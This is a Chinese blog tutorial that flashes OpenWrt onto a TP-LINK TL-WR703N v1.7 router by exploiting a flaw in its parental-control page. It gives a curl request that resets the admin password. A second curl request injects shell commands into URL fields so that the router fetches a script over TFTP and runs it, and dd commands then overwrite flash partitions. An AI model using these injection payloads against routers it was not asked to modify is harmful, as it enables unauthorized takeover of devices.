    chmod 755 busybox # 修改busybox权限以执行命令
    ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区
    ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区
    reboot -f # 重启,会启动openwrt

刷机流程

在V1.7以前,可以通过路由器的Web UI直接将openwrt刷到板子上,但在V1.7之后,只能通过利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统。本教程就是利用TP-LINK家长控制的漏洞进行openwrt刷机。下面介绍openwrt刷机的步骤。

搭建tftp服务器

在Debian操作系统中搭建tftp服务器请参考链接4。将busybox、 拆开的固件i1和i2、Hack脚本aa放入tftp服务器目录。

Hack into TL-WR703N

这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器。

【警告】以下步骤可能导致你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开连接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救。

步骤如下:

  • 长按reboot按钮将路由器恢复出厂设置

  • 将tftp服务器通过WiFi的方式连接到路由器 TL-WR703N,ifconfig记住tftp服务器的ip,我的是192.168.1.100

  • 在tftp服务器上执行如下命令修改路由器WebUI默认管理员密码

    1
    2
    # 此处修改密码为admin42,注意Cookies中认证变量Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D即是设置管理员密码为admin42。后续将继续使用该变量进行其他操作,如果认证变量不正确,操作将无法执行。
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
  • 启用家长控制(利用漏洞)

1
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
  • 让路由器从tftp服务器下载并执行脚本
    1
    2
    # 执行下述命令后,等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一会儿
    curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'

openwrt系统配置

openwrt默认使用LuCI 用户界面,具体配置方法暂时没有时间研究。

参考链接

  1. 给 v1.7 版本的 TL-WR703N 刷 openwrt,by Cubic Zone.
  2. TL-WR703N v1.7刷openwrt,by 梦里茶.
  3. TP-Link TL-WR703N,by openwrt.
  4. Debian安装配置使用TFTP,by jack huang.
  5. Packet Traveling,by ed harmoush.
上一页1…444546…53下一页

Jack Huang

521 日志
67 标签
© 2025 Jack Huang
由 Hexo 强力驱动
|
主题 — NexT.Muse